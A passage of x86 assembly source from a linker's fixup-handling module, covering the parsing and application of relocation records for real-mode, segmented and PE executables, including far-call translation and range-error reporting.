AND ECX,MASK SEG_CV_TYPES1 + MASK SEG_CV_SYMBOLS1
JNZ L1$ ;TRY IGNORING THEM... FOR MICRORIM (LINK-COMPATIBLE...)
CMP FIX2_IMP_MODULE,ECX
JZ L5$ ;FLOAT CONSTANT
CALL IMP_CALLTBL[ESI*4]
L1$:
JMP FIX_UNDEF_RET
L5$:
CMP ESI,34/2 ;LOC_9
JNZ L51$
L50$:
ADD WPTR [EDI+EBX],AX
ADD EDI,EBX
MOV EAX,FIX2_LDATA_LOC
MOV ECX,0705H ;ADDITIVE, OS FIXUP
ADD EAX,EBX ;TARGET LOGICAL ADDRESS
MOV EDX,FIX2_IMP_OFFSET ;OS FIXUP NUMBER
XOR EBX,EBX
;ES:DI IS PHYS_PTR
;AX IS OFFSET IN SEGMENT
;BX IS _RL_IMP_OFFSET
;CL IS FIXUPP TYPE
;CH IS FIXUPP FLAGS
;DX IS _RL_IMP_MODULE
;
CALL RELOC_INSTALL ;DO RELOCATION
JMP FIX_UNDEF_RET
L51$:
CMP ESI,42/2 ;LOC_13
JZ L50$
CALL BAD_MYLOC
JMP FIX_UNDEF_RET
DO_FIXIMPORT ENDP
endif
FIX_UN_A: JMP FIX_UNDEF_RET
FCR: JMP FIX_CANT_REACH
DOFIXUPPS PROC NEAR
;
;
;
CALL DOF_PRELIM
;
;SO, GO AHEAD AND DO FIXUPP
;
DOFIXUPPS_MODEND_A::
PUSH ESI
JC FIX_UN_A ;UNDEFINED SYMBOL, IGNORE
MOV ESI,FIX2_LOC
MOV EDI,LOC_CALLTBL_PTR
GETT AL,OUTPUT_PE
GETT CL,OUTPUT_SEGMENTED
TEST AL,AL
JNZ DOF_PE
TEST CL,CL
JZ DOF_REAL
MOV EAX,FIX2_OS2_TFLAGS
TEST EAX,MASK SR_1
JNZ DO_FIXIMPORT
MOV EAX,FIX2_OS2_TNUMBER ;TARGET SEGMENT MUST EQUAL
MOV ECX,FIX2_OS2_FNUMBER ;FRAME SEGMENT
CMP EAX,ECX
JNZ FCR ;FIX_CANT_REACH
MOV CL,FIX2_TTYPE
MOV EAX,FIX2_TOFFSET
AND CL,MASK SEG_ASEG
JZ DOF_CONT
SUB EAX,FIX2_OS2_FNUMBER
JMP DOF_CONT
if fg_pe
DOF_PE:
MOV EAX,FIX2_TOFFSET
JMP DOF_CONT
endif
DOF_REAL:
MOV EAX,FIX2_OS2_TNUMBER
MOV EBX,FIX2_OS2_FNUMBER
SUB EAX,EBX
JC FIX_CANT_REACH1
CMP EAX,64K
JAE FIX_ERR6 ;MAYBE OUT-OF-RANGE
FIX_ERR6_OK:
MOV ECX,LOC_10
MOV EAX,FIX2_TOFFSET
CMP ECX,OFF LOC_10_PROT
JZ DR_9
DR_8:
SUB EAX,EBX
DR_9:
DOF_CONT:
MOV CL,FIX2_LD_TYPE
LEA ESI,[ESI*4+EDI]
AND CL,MASK BIT_LI ;CAN'T CHECK LIDATA TYPES TILL LATER...
JNZ L29$
MOV EDI,FIX2_OFFSET
MOV ECX,FIX2_LDATA_LOC ;IS THIS COLLIDING WITH A PREVIOUS FIXUPP?
ADD EDI,ECX
MOV ECX,FIX2_STACK_DELTA
ADD EDI,ECX
MOV ECX,FIX2_SM_START
SUB EDI,ECX
MOV ECX,RELOC_HIGH_WATER
CMP ECX,EDI
MOV FIX2_RELOC_OFFSET,EDI ;USED BY FARCALLTRANSLATE
JA L2$
L29$:
;
;BX IS FIX2_OFFSET
;CX:AX IS OFFSET WITHIN SEGMENT
;DX IS FIX2_FRAME.HW
;
MOV EDI,FIX2_LDATA_PTR ;PHYSICAL ADDRESS
MOV EBX,FIX2_OFFSET
CALL DPTR [ESI]
FIX_UNDEF_RET::
POP ESI
MOV EDI,FIX2_FIXUPP_EOR
CMP EDI,ESI
JA DOFIXUPPS
JNZ F_OOPS
;
;OK, NOW RELEASE FIXUPP RECORD AND UNLOCK BLOCK
;
CALL RELEASE_FIXUPP
RET
F_OOPS:
CALL OBJ_PHASE
FIX_ERR6:
;
;ACTUALLY, THIS IS OK IF A 32-BIT OFFSET TYPE...
;LIKE 25 OR 27
;
MOV ECX,EAX
MOV AL,BPTR FIX2_LOC
CMP AL,18 ;*2
JZ CHECK_64K
CMP AL,25 ;*2
JZ FIX_ERR6_OK
CMP AL,27 ;*2
JZ FIX_ERR6_OK
CMP AL,10 ;*2
JZ FIX_ERR6_OK
CMP AL,29 ;*2
JZ FIX_ERR6_OK
FIX_CANT_REACH::
MOV AL,CANT_REACH_ERR
BITT DOING_START_ADDRESS
JZ FCR_4
MOV AL,START_ERR
MOV FIX2_FTYPE,MASK SEG_CLASS_IS_CODE + MASK SEG_RELOC
MOV FIX2_TTYPE,MASK SEG_CLASS_IS_CODE + MASK SEG_RELOC
FCR_4:
CALL FIX_ERROR
JMP FIX_UNDEF_RET
if fg_norm_exe
FIX_CANT_REACH1:
;
;FRAME LARGER, TRY ADDING OFFSET IN AS LAST RESORT
;
if fg_dosx
CMP EXETYPE_FLAG,DOSX_EXE_TYPE ;IGNORE IF DOSX...
JZ FIX_ERR6_OK
endif
MOV EAX,FIX2_TOFFSET
SUB EAX,EBX
JC FIX_CANT_REACH
JMP FIX_ERR6_OK
endif
L2$:
PUSHM SI,DX,CX,BX,AX
;
;NEED AX = FIRST BIT TO CHECK, CX = # OF BITS
;
XCHG AX,DI
SHR SI,1
MOV CL,LOC_SIZE[SI]
XOR CH,CH
CALL SPECIAL_RELOC_CHECK
POPM AX,BX,CX,DX,SI
JMP L29$
if fg_norm_exe
CHECK_64K:
CMP ECX,64K
JNZ FIX_CANT_REACH
JMP FIX_ERR6_OK
endif
L5$:
JMP FIX_UNDEF_RET
DOFIXUPPS ENDP
DOFIXUPPS_MODEND EQU (DOFIXUPPS_MODEND_A)
DOF_PRELIM PROC NEAR
;
;
;
MOV EAX,[ESI]
ADD ESI,4
MOV ECX,EAX
MOV EDX,EAX
SHR ECX,16
AND EAX,0FFFFH
SHR EDX,26
AND ECX,1024-1
MOV FIX2_LOC,EDX
MOV FIX2_OFFSET,ECX
DOF_PRELIM ENDP
; Returns: C error
PARSE_FIXUPP2 PROC NEAR
;
;NOW SET UP STUFF FOR FRAME AND TARGET - PRESERVE SI
;
;
;POSSIBLE TARGETS ARE:
; 0 SEGMENT (1 BYTE) DELTA=0
; 1 GROUP (1 BYTE) DELTA=8
; 2 SYMBOL (1 BYTE) DELTA=48
; 3 ABSOLUTE(1 BYTE) DELTA=0
;
; +4 MEANS 2 BYTE INDEX INSTEAD OF 1
; 08-0F GROUPS 1 THRU 8
; 10-3F SYMBOLS 1 THRU 48
;
; HIGH 2 BITS
; 00 NO OFFSET
; 01 1 BYTE OFFSET
; 10 2 BYTE OFFSET
; 11 3 BYTE OFFSET
;
MOV EBX,EAX
MOV ECX,[ESI]
ADD ESI,4
XOR EDX,EDX
TEST EAX,1000H
JZ L2$
MOV EDX,[ESI]
ADD ESI,4
L2$:
AND AH,0FH
MOV FIX2_TOFFSET,EDX
MOV BPTR FIX2_TT,AH
MOV FIX2_TINDEX,ECX
;
;PARSE STUFF FOR FRAME
;
CMP AL,4
JB L25$
CMP AL,6
JB L3$
MOV ECX,EAX
AND ECX,07FH
MOV AL,1
MOV ECX,GROUP_PTRS[ECX*4-6*4]
JMP L3$
L25$:
MOV ECX,[ESI]
ADD ESI,4
L3$:
MOV EDX,FIX2_TT
PUSH ESI
MOV EBX,FIX2_TARG_TABLE ;IN CODE SEGMENT...
MOV BPTR FIX2_FF,AL
MOV EAX,FIX2_TINDEX
MOV FIX2_FINDEX,ECX
;
;NOW PROCESS STUFF
;
CALL DPTR [EBX+EDX*4]
MOV FIX2_TTYPE,AL
JC L99$ ;UNDEFINED SYMBOL
GETT AL,OUTPUT_PE
MOV EBX,FIX2_FF
OR AL,AL
JNZ L99$
MOV EAX,FIX2_FINDEX
CALL FIX2_FRAME_TABLE[EBX*4]
MOV FIX2_FTYPE,AL
JC L99$ ;UNDEFINED SYMBOL
MOV FIX2_OS2_FNUMBER,ECX
; MOV FIX2_OS2_FFLAGS,EDX
if any_overlays
BITT VECTORED_REFERENCE
JZ 4$
;
;IF FRAME IS BELOW VECTOR TABLE, AND WITHIN 64K OF END OF TABLE, USE IT, ELSE USE VECTOR_TABLE_ADDRESS
;
RESS VECTORED_REFERENCE
MOV AX,END_VECTOR_TABLE.LW
MOV BX,END_VECTOR_TABLE.HW
SUB AX,CX
SBB BX,DX
JZ 4$
MOV AX,VECTOR_TABLE_ADDRESS.LW
MOV DX,VECTOR_TABLE_ADDRESS.HW
MOV FIX2_FFRAME.LW,AX
MOV FIX2_FFRAME.HW,DX
endif
L4$:
MOV AL,FIX2_TTYPE
POP ESI
TEST AL,MASK SEG_CONST ;IF TARG IS CONSTANT, FORCE FRAME TO MATCH
JNZ L9$ ;CHECK NORMALLY...
RET
L99$:
POP ESI
RET
L9$:
MOV EAX,FIX2_OS2_TNUMBER
MOV ECX,FS_TYPE_TARG
MOV FIX2_OS2_FNUMBER,EAX
MOV AL,MASK SEG_ASEG
MOV FIX2_FF,ECX ;=FRAME TARG...
MOV FIX2_FTYPE,AL
RET
PARSE_FIXUPP2 ENDP
LOC_0_PROT PROC NEAR
;
;SELF-RELATIVE SHORT JUMP
;
;CX:AX IS OFFSET OF TARGET FROM FRAME
;
;BX IS FIX2_OFFSET
;CX:AX IS OFFSET WITHIN SEGMENT
;DX IS FIX2_FRAME.HW
;
;FIRST, SEE IF CURRENT LOCATION IS IN FRAME
;
MOV ESI,FIX2_OS2_TNUMBER
MOV EDX,FIX2_SEG_OS2_NUMBER
CMP EDX,ESI
JNZ FIX_LOC_FRAME
LOC_0_PE::
MOV EDX,FIX2_LDATA_LOC
SUB EAX,EBX ;OUCH!
SUB EAX,EDX
JMP LOC_0_CONT
LOC_0_PROT ENDP
LOC_0_REAL PROC NEAR
;
;
;
MOV ESI,FIX2_LDATA_LOC
MOV EDX,FIX2_FFRAME
SUB ESI,EDX
ADD ESI,EBX
CMP ESI,64K
JAE FIX_LOC_FRAME
;
;OK, SO, TOFFSET-CURLOC-1
;
SUB EAX,ESI
; JMP LOC_0_CONT
LOC_0_REAL ENDP
LOC_0_CONT PROC NEAR
;
;
;`
DEC EAX
JS LT_0
CMP EAX,128
JNC SHORT_ERROR
ADD [EDI+EBX],AL
RET
SHORT_ERROR:
MOV AL,SHORT_ERR
JMP FIX_ERROR
LT_0:
CMP EAX,-128
JC SHORT_ERROR
LOC_0_OK::
ADD [EDI+EBX],AL
RET
LOC_0_CONT ENDP
LOC2_8 PROC NEAR
;
;LO-BYTE
;
;CX:AX IS OFFSET FROM FRAME
;
MOV DL,[EDI+EBX]
GETT CL,CHECK_LO_BYTE
ADD DL,AL
TEST CL,CL
MOV [EDI+EBX],DL
JZ L1$
OR AH,AH
JZ L1$
CMP EAX,-128
JC LOC2_8_ERR
L1$:
RET
LOC2_8_ERR:
MOV AL,LOBYTE_ERR
FIX_ERROR::
CALL FIXUPP_ERROR
RET
FIX_LOC_FRAME::
MOV AL,LOC_FRAME_ERR
CALL FIXUPP_ERROR
RET
LOC2_8 ENDP
LOC_1_PROT PROC NEAR
;
;SELF-RELATIVE NEAR JUMP
;
;CX:AX IS OFFSET OF TARGET FROM FRAME
;
;BX IS FIX2_OFFSET
;CX:AX IS OFFSET WITHIN SEGMENT
;DX IS FIX2_FRAME.HW
;
;FIRST, SEE IF CURRENT LOCATION IS IN FRAME
;
MOV EDX,FIX2_LDATA_LOC
SUB EAX,EBX
MOV ESI,FIX2_OS2_TNUMBER
SUB EAX,EDX
MOV ECX,FIX2_SEG_OS2_NUMBER
SUB EAX,2
CMP ESI,ECX
JNZ FIX_LOC_FRAME
;
;IF BOTH WITHIN FRAME, RANGE MUST BE OK...
;
ADD WPTR [EDI+EBX],AX
RET
LOC_1_PROT ENDP
LOC_1_REAL PROC NEAR
;
;
;
MOV ESI,FIX2_LDATA_LOC
MOV EDX,FIX2_FFRAME
SUB ESI,EDX
ADD ESI,EBX
SUB EAX,2
CMP ESI,64K
JAE FIX_LOC_FRAME
;
;OK, SO, TOFFSET-CURLOC-1
;
SUB EAX,ESI
;
;IF BOTH WITHIN FRAME, RANGE MUST BE OK...
;
ADD WPTR [EDI+EBX],AX
RET
LOC_1_REAL ENDP
LOC_32SELF_PROT PROC NEAR
;
;SELF-RELATIVE 32-BIT JUMP...
;
;CX:AX IS OFFSET OF TARGET FROM FRAME
;
;BX IS FIX2_OFFSET
;CX:AX IS OFFSET WITHIN SEGMENT
;DX IS FIX2_FRAME.HW
;
;FIRST, SEE IF CURRENT LOCATION IS IN FRAME
;
MOV ESI,FIX2_OS2_TNUMBER
MOV EDX,FIX2_SEG_OS2_NUMBER
CMP EDX,ESI
JNZ FIX_LOC_FRAME
LOC_32SELF_PE::
MOV EDX,FIX2_LDATA_LOC
MOV ECX,[EDI+EBX]
SUB EAX,EDX
SUB ECX,EBX
ADD EAX,ECX
SUB EAX,4
MOV [EDI+EBX],EAX
RET
LOC_32SELF_PROT ENDP
LOC_32SELF_REAL PROC NEAR
;
;
;
MOV ESI,FIX2_LDATA_LOC
MOV EDX,FIX2_FFRAME
SUB ESI,EDX
SUB EAX,EBX
;
;OK, SO, TOFFSET-CURLOC-1
;
SUB EAX,ESI
MOV ECX,[EDI+EBX]
SUB EAX,4
ADD EAX,ECX
;
;IF BOTH WITHIN FRAME, RANGE MUST BE OK...
;
MOV [EDI+EBX],EAX
RET
LOC_32SELF_REAL ENDP
IMP_8 PROC NEAR
;
;LO-BYTE
;
;DX:AX IS OFFSET FROM FRAME
;
MOV DL,[EDI+EBX]
MOV ECX,400H ;ADDITIVE, LOBYTE
ADD DL,AL ;CLEAR ANY OFFSET
MOV [EDI+EBX],DL
JMP DO_IMPORT
IMP_8 ENDP
LOC_13_PROT PROC NEAR
;
;16 BIT OFFSET SPECIAL
;
;IF NOT PROTMODE, AND TARGET IS LOADONCALL, USE POINTER
;RELOC
;
CALL KEEP_RELOC_OFFSET?
JZ LOC_9
LOC_131:
MOV ECX,5 ;16 BIT OFFSET
JMP DO_INTERNAL
LOC_13_PROT ENDP
KEEP_RELOC_OFFSET? PROC NEAR
;
;IS THE OFFSET RELOCATABLE, OR JUST SEGMENT?
;
MOV DL,FIX2_SEG_TYPE
MOV ECX,FIX2_OS2_TNUMBER ;CONSTANT, LOSE OFFSET
AND DL,MASK SEG_CV_TYPES1 + MASK SEG_CV_SYMBOLS1
JNZ L7$ ;CODEVIEW, LOSE OFFSET
TEST ECX,ECX
JZ L71$
MOV DL,FIX2_TTYPE
MOV CL,EXETYPE_FLAG
AND DL,MASK SEG_ASEG
JNZ L7$
;
;IF EXETYPE > 2, KEEP POINTER (DOS4 AND UNKNOWN DON'T OPTIMIZE)
;
CMP CL,WIN_SEGM_TYPE ;NOT OS/2 OR WINDOWS, RETAIN RELOCATABLE OFFSET
JA L8$ ;EVEN IF NOT MOVABLE
MOV ESI,MOVABLE_MASK
MOV EDX,FIX2_OS2_TFLAGS
TEST ESI,EDX ;MOVABLE|DISCARD|IOPL
JZ L71$
;
;OK, ITS A 'MOVABLE' TYPE.
;
;IF WINDOWS, REAL MODE, WE KEEP ALL
;
GETT CH,PROTMODE
TEST CH,CH
JNZ L1$
CMP CL,WIN_SEGM_TYPE
JZ L8$ ;WINDOWS, YES, KEEP
L1$:
;
;PROTECTED MODE AND/OR OS/2, KEEP ONLY IF IOPL-NONCONFORMING-CODE REFERENCED
;FROM ANYTHING OTHER THAN IOPL-NONCONFORMING-CODE
;
; TEST DX,1 SHL SR_DPL ;IOPL? ;CAN ONLY GET HERE IF IOPL
; JZ 8$ ;NO, KEEP
;
;THEN USE MOVABLE OFFSET ONLY IF NONCONFORMING AND CODE ALSO...
;
AND EDX,MASK SR_CONF+1 ;CONFORMING OR DATA
JNZ L7$ ;YES, IGNORE OFFSET
;
;OK, TARGET IS IOPL-NONCONFORMING-CODE
;THROW AWAY OFFSET ONLY IF CURRENT SEGMENT IS SAME
;
MOV ECX,FIX2_SEG_OS2_FLAGS
MOV EDX,1 SHL SR_DPL
TEST ECX,EDX
JZ L8$ ;NOT IOPL, KEEP OFFSET
AND ECX,MASK SR_CONF+1
RET
L8$:
OR CL,-1 ;RETAIN OFFSET
RET
L7$:
CMP AL,AL ;Z, USE INTERNAL, NON-MOVING
L71$:
RET
KEEP_RELOC_OFFSET? ENDP
if fg_pe
LOC_9_PE:
MOV CL,FIX2_TTYPE
AND CL,MASK SEG_ASEG
JZ BAD_MYLOC
endif
LOC_13_REAL:
LOC_9:
;
;16-BIT OFFSET
;
ADD WPTR [EDI+EBX],AX
RET
if fg_segm
IMP_9 PROC NEAR
;
;16-BIT OFFSET
;
ADD WPTR [EDI+EBX],AX
MOV ECX,005H ;16-BIT OFFSET
JZ L2$
OR CH,4 ;YES, ADDITIVE
L2$:
JMP DO_IMPORT
IMP_9 ENDP
endif
LOC2_12 PROC NEAR
;
;HI-BYTE
;
ADD [EDI+EBX],AH
RET
LOC2_12 ENDP
LOC_11_PROT PROC NEAR
;
;16:16 POINTER
;
MOV DL,FIX2_SEG_TYPE
GETT CL,FARCALLTRANSLATION_FLAG
AND DL,MASK SEG_CV_TYPES1 + MASK SEG_CV_SYMBOLS1
JNZ L11_NORM
TEST CL,CL
JZ L5$
MOV DL,FIX2_SEG_TYPE
AND DL,MASK SEG_CLASS_IS_CODE
JZ L5$
MOV ESI,FIX2_OS2_TNUMBER
MOV EDX,FIX2_SEG_OS2_NUMBER
CMP EDX,ESI
JNZ L5$
CALL CHECK_9A
JZ FAR_CALL_COMMON
L5$:
CALL KEEP_RELOC_OFFSET?
JZ L11_NORM
LOC_111:
MOV ECX,3 ;16:16
JMP DO_INTERNAL
LOC_11_PROT ENDP
L11_NORM:
ADD WPTR [EDI+EBX],AX
ADD EBX,2
;
;PLUS WHATEVER ELSE IS NEEDED FOR RANGE CHECKING
;
XOR EAX,EAX
JMP LOC_10
LOC_11_REAL PROC NEAR
;
;16:16 POINTER
;
GETT CL,FARCALLTRANSLATION_FLAG
MOV DL,FIX2_SEG_TYPE
TEST CL,CL
JZ L11_NORM
AND DL,MASK SEG_CLASS_IS_CODE
JZ L11_NORM
;
;FRAME MUST MATCH FRAME OF LDATA_LOC
;
MOV ESI,FIX2_SEG_FRAME
MOV EDX,FIX2_FFRAME
CMP ESI,EDX
JNZ L11_NORM
CMP FIX2_TFRAME,ESI
JNZ L11_NORM
CALL CHECK_9A
JNZ L11_NORM
;
;MAKE CX:AX 20-BIT REAL
;
ADD EAX,FIX2_TFRAME
JMP FAR_CALL_COMMON
LOC_11_REAL ENDP
FAR_CALL_COMMON PROC NEAR
;
;
;
OR ESI,ESI
JNZ FAR_JMP_COMMON
;
;NOP, PUSH CS, CALL NEAR
;
ADD AX,WPTR [EDI+EBX]
MOV ECX,0E80EH
MOV WPTR [EDI+EBX],CX
ADD EBX,2
MOV ECX,FIX2_LDATA_LOC
SUB EAX,EBX
SUB EAX,ECX
SUB EAX,2
MOV WPTR [EDI+EBX],AX
RET
FAR_JMP_COMMON:
MOV DX,WPTR [EDI+EBX]
MOV ECX,FIX2_LDATA_LOC
ADD ECX,EBX
ADD EAX,EDX
SUB EAX,ECX
MOV CL,90H
SUB EAX,2
MOV 2[EDI+EBX],CL
MOV WPTR [EDI+EBX],AX
RET
FAR_CALL_COMMON ENDP
CHECK_9A PROC NEAR
;
;**** MUST PRESERVE AX ****
;
;RETURNS NZ IF NO MATCH
;SI=0 IF CALL, SI=1 IF JMP
;
MOV CL,FIX2_SM_FLAGS_2
AND CL,MASK SM2_DATA_IN_CODE
JNZ L9$
TEST EBX,EBX
JZ L5$
CHECK_9AA:
MOV DL,BPTR [EBX+EDI-1]
CMP DL,9AH
JNZ L3$ ;NOT A FAR CALL, TRY JUMP
CALL TEST_9A_RELOC
MOV DL,90H
JNZ L1$
XOR ESI,ESI
MOV BPTR [EDI+EBX-1],DL
L1$:
RET
L3$:
CMP DL,0EAH
JNZ L9$
CALL TEST_9A_RELOC
MOV DL,0E9H
JNZ L4$
MOV BPTR [EBX+EDI-1],DL
MOV ESI,1
L4$:
RET
L5$:
;
;THIS IS A BIT TRICKIER, WOULD BE NICE FOR FARCALL,
;ABSOLUTELY NECESSARY FOR SINGLE-LEVEL OVERLAYS...
;
;ES:DI POINTS TO RECORD, BX IS OFFSET FROM RECORD
;NEED TO CALCULATE ADDRESS RELATIVE FROM FIX2_SEGMENT_BASE
;AND GO CHECK THAT BYTE...
;
PUSHM EDI,EBX
PUSH EAX
MOV EDI,FIX2_LDATA_LOC
MOV EBX,FIX2_STACK_DELTA
MOV ECX,FIX2_SM_START
ADD EDI,EBX
INC ECX
SUB EDI,ECX
JC L8$
MOV EBX,EDI
AND EDI,PAGE_SIZE-1
SHR EBX,PAGE_BITS
INC EDI
LEA EBX,EXETABLE[EBX*4]
CALL CONVERT_SUBBX_TO_EAX
MOV EBX,EAX
CALL CHECK_9AA
L81$:
POPM EAX,EBX,EDI
L9$:
RET
L8$:
OR ESI,-1
JMP L81$
CHECK_9A ENDP
TEST_9A_RELOC PROC NEAR
;
;ECX & EDX ARE AVAILABLE
;
MOV EDX,FIX2_RELOC_OFFSET
MOV ECX,RELOC_HIGH_WATER
SUB EDX,1
JC L9$
CMP ECX,EDX
JBE L9$
MOV CL,DL
PUSH EAX
SHR EDX,3 ;BYTE #
AND CL,7
ADD EDX,RELOC_BITS
MOV AL,1
SHL AL,CL
AND AL,[EDX]
POPM EAX
RET
L9$:
CMP BL,BL
RET
TEST_9A_RELOC ENDP
if fg_segm
IMP_11 PROC NEAR
;
;16:16 POINTER
;
MOV ECX,[EDI+EBX]
AND EAX,0FFFFH
ADD EAX,ECX
MOV ECX,003H ;16:16
MOV WPTR [EDI+EBX],AX
JZ L2$
OR CH,4 ;YES, ADDITIVE
L2$:
JMP DO_IMPORT
IMP_11 ENDP
endif
LOC_DWORD_OFFSET1_PROT PROC NEAR
;
;32 BIT OFFSET SPECIAL
;
if fg_segm
CALL KEEP_RELOC_OFFSET?
JZ LOC_DWORD_OFFSET
LOC_LDO1:
MOV ECX,00DH ;16 BIT OFFSET
JMP DO_INTERNAL
endif
LOC_DWORD_OFFSET1_PROT ENDP
LOC_DWORD_OFFSET1_REAL:
LOC_DWORD_OFFSET:
;
;32-BIT OFFSET
;
ADD [EDI+EBX],EAX
RET
if fg_pe
LOC_DWORD_OFFSET_PE PROC NEAR
;
;32-BIT OFFSET
;
MOV ECX,[EDI+EBX]
MOV DL,FIX2_TTYPE
ADD ECX,EAX
AND DL,MASK SEG_ASEG
MOV [EDI+EBX],ECX
JNZ L9$
MOV EAX,FIX2_LDATA_LOC
ADD EAX,EBX
JMP DO_PE_RELOC
L9$:
RET
LOC_DWORD_OFFSET_PE ENDP
LOC_DWORD_OFFSET_TLS PROC NEAR
push EDI
push EBX
push EAX
call _loc_dword_offset_tls
add ESP,12
ret
;
;32-BIT OFFSET
;
MOV EDX,FIX2_SEG_GINDEX
MOV ECX,[EDI+EBX]
ADD ECX,EAX
TEST EDX,EDX
MOV EAX,PE_BASE
JZ L4$
CONVERT EDX,EDX,SEGMENT_GARRAY
ASSUME EDX:PTR SEGMENT_STRUCT
MOV EDX,[EDX]._SEG_PEOBJECT_GINDEX
SUB ECX,EAX
CONVERT EDX,EDX,PE_OBJECT_GARRAY
ASSUME EDX:PTR PE_OBJECT_STRUCT
; Bugzilla 4275
; Seg faults with EDX == 0
; Caused by missing 'export' from an imported variable declaration
MOV EDX,[EDX]._PEOBJECT_RVA
SUB ECX,EDX
L4$:
MOV [EDI+EBX],ECX
RET
LOC_DWORD_OFFSET_TLS ENDP
endif
if fg_segm
IMP_DWORD_OFFSET PROC NEAR
;
;32-BIT OFFSET
;
MOV ECX,[EDI+EBX]
ADD EAX,ECX
MOV ECX,00DH
MOV [EDI+EBX],EAX
JZ L2$
OR CH,4 ;YES, ADDITIVE
L2$:
JMP DO_IMPORT
IMP_DWORD_OFFSET ENDP
endif
if fg_segm
IMP_FWORD_PTR PROC NEAR
;
;16:32 POINTER
;
MOV DX,WPTR [EDI+EBX+4]
MOV ECX,[EDI+EBX]
ADD EAX,ECX
MOV ECX,00BH ;16:32
MOV [EDI+EBX],EAX
JNZ L1$
AND EDX,0FFFFH
JZ L2$
L1$:
OR CH,4
L2$:
JMP DO_IMPORT
IMP_FWORD_PTR ENDP
endif
LOC_FWORD_PTR_PROT PROC NEAR
;
;16:32 POINTER
;
if fg_segm
CALL KEEP_RELOC_OFFSET?
JZ LFP_NORM
LOC_LFP1:
MOV ECX,00BH ;16:32
JMP DO_INTERNAL
LFP_NORM:
endif
LOC_FWORD_PTR_PROT ENDP
LOC_FWORD_PTR_REAL:
MOV ECX,[EDI+EBX]
ADD EBX,4
ADD ECX,EAX
XOR EAX,EAX
MOV [EDI+EBX-4],ECX
JMP LOC_10
if fg_pe
LOC_10_PE PROC NEAR
;
;
;
MOV AL,UNREC_FIXUPP_ERR
CALL FIXUPP_ERROR
RET
LOC_10_PE ENDP
endif
LOC_10_PROT PROC NEAR
;
;BASE
;
if fg_segm
;
;segmented mode...
;
MOV CX,WPTR [EDI+EBX]
AND ECX,0FFFFH
JNZ DI_101
DI_1011:
CALL KEEP_RELOC_OFFSET?
MOV DL,FIX2_SEG_TYPE
JNZ DI_103
MOV DH,FIX2_TTYPE
MOV EAX,FIX2_OS2_TNUMBER
AND DL,MASK SEG_CV_TYPES1 + MASK SEG_CV_SYMBOLS1
JNZ LOC_10_DEBUG
AND DH,MASK SEG_ASEG
JNZ LOC_10_DEBUG_A
TEST EAX,EAX ;CONSTANT?
JZ LOC_10_DEBUG
DI_104:
XOR EAX,EAX
MOV ECX,0802H ;BASE, DON'T LOOK EVEN IF MOVABLE
JMP DO_INTERNAL
DI_103:
MOV ECX,002H
JMP DO_INTERNAL
DI_101:
;
;HMM, FOR FORTRAN WE NEED TO ACCEPT THIS...
;
ADD FIX2_OS2_TNUMBER,ECX
XOR EDX,EDX
MOV WPTR [EDI+EBX],DX
JMP DI_1011
LOC_10_DEBUG_A:
SHR EAX,4
LOC_10_DEBUG:
MOV WPTR [EDI+EBX],AX
RET
else
MOV EAX,FIX2_OS2_TNUMBER
MOV WPTR [EDI+EBX],AX
RET
endif
LOC_10_PROT ENDP
LOC_10_REAL PROC NEAR
;
;
;
MOV CX,WPTR [EDI+EBX]
MOV EAX,FIX2_FFRAME
SHR EAX,4
MOV DL,FIX2_TTYPE
ADD EAX,ECX
AND DL,MASK SEG_RELOC
MOV WPTR [EDI+EBX],AX
;
;IF RELOCATABLE, CALL HANDLER...
;
JZ LOC_10_RET
MOV DL,FIX2_SEG_TYPE
GETT CL,OUTPUT_COM_SYS
AND DL,MASK SEG_CV_TYPES1 + MASK SEG_CV_SYMBOLS1
JNZ LOC_10_RET ;SKIP IF DEBUG RECORD
TEST CL,CL
JNZ BASE_ERROR
MOV EDX,EAX ;TARGET PARAGRAPH
ADD EDI,EBX
AND EDX,0FFFFH
GETT AL,CHAINING_RELOCS ;TRUE ONLY FOR /EXEPACK?
MOV ECX,802H ;REAL-MODE (8) BASE (2)
OR AL,AL
MOV EAX,EBX
JNZ L1$
MOV CH,12 ;REAL-MODE(8) ADDITIVE(4)
L1$:
MOV ESI,FIX2_LDATA_LOC
XOR EBX,EBX ;TARGET SEGMENT OFFSET
ADD EAX,ESI
;
;ES:DI IS PHYS_PTR
;AX IS .LW OF OVERALL ADDRESS
;BX IS TARGET SEGMENT OFFSET
;CL IS FIXUPP TYPE
;CH IS FIXUPP FLAGS
;DX IS TARGET SEGMENT PARAGRAPH
;
JMP RELOC_INSTALL
BASE_ERROR:
MOV AL,BASE_RELOC_ERR
CALL FIXUPP_ERROR
LOC_10_RET:
RET
LOC_10_REAL ENDP
if fg_segm
IMP_10 PROC NEAR
;
;
;
MOV DX,WPTR [EDI+EBX]
MOV ECX,002H
AND EDX,0FFFFH
JZ L2$
OR CH,4
L2$:
JMP DO_IMPORT
IMP_10 ENDP
endif
if fg_segm
BAD_MYLOC_IMP PROC NEAR
MOV AL,NEAR_IMPORT_ERR
CALL FIXUPP_ERROR
RET
BAD_MYLOC_IMP ENDP
endif
BAD_MYLOC PROC NEAR
MOV AL,UNREC_FIXUPP_ERR
CALL FIXUPP_ERROR
RET
BAD_MYLOC ENDP
TARG_SEGMOD_NORMAL PROC NEAR
;
;EAX IS SEGMOD GINDEX
;
CONVERT EAX,EAX,SEGMOD_GARRAY
ASSUME EAX:PTR SEGMOD_STRUCT
MOV ECX,[EAX]._SM_START
MOV EDX,FIX2_TOFFSET
MOV EAX,[EAX]._SM_BASE_SEG_GINDEX
ADD EDX,ECX
MOV FIX2_SEG_GINDEX,EAX ;IN CASE OF TLS
MOV FIX2_TOFFSET,EDX
CONVERT EAX,EAX,SEGMENT_GARRAY
ASSUME EAX:PTR SEGMENT_STRUCT
MOV ECX,[EAX]._SEG_OS2_NUMBER
MOV EDX,[EAX]._SEG_OS2_FLAGS
MOV FIX2_OS2_TNUMBER,ECX
MOV FIX2_OS2_TFLAGS,EDX
MOV AL,[EAX]._SEG_TYPE
OR EDX,EDX
RET
TARG_SEGMOD_NORMAL ENDP
TARG_SEGMOD_CV PROC NEAR
;
;EAX IS SEGMOD GINDEX
;
CONVERT EAX,EAX,SEGMOD_GARRAY
ASSUME EAX:PTR SEGMOD_STRUCT
PUSH EDI
MOV EDI,[EAX]._SM_BASE_SEG_GINDEX
CONVERT EDI,EDI,SEGMENT_GARRAY
ASSUME EDI:PTR SEGMENT_STRUCT
PUSH EBX
MOV ECX,[EAX]._SM_START ;OFFSET FROM FRAME
MOV EBX,[EDI]._SEG_CV_NUMBER
MOV EDX,[EDI]._SEG_OFFSET
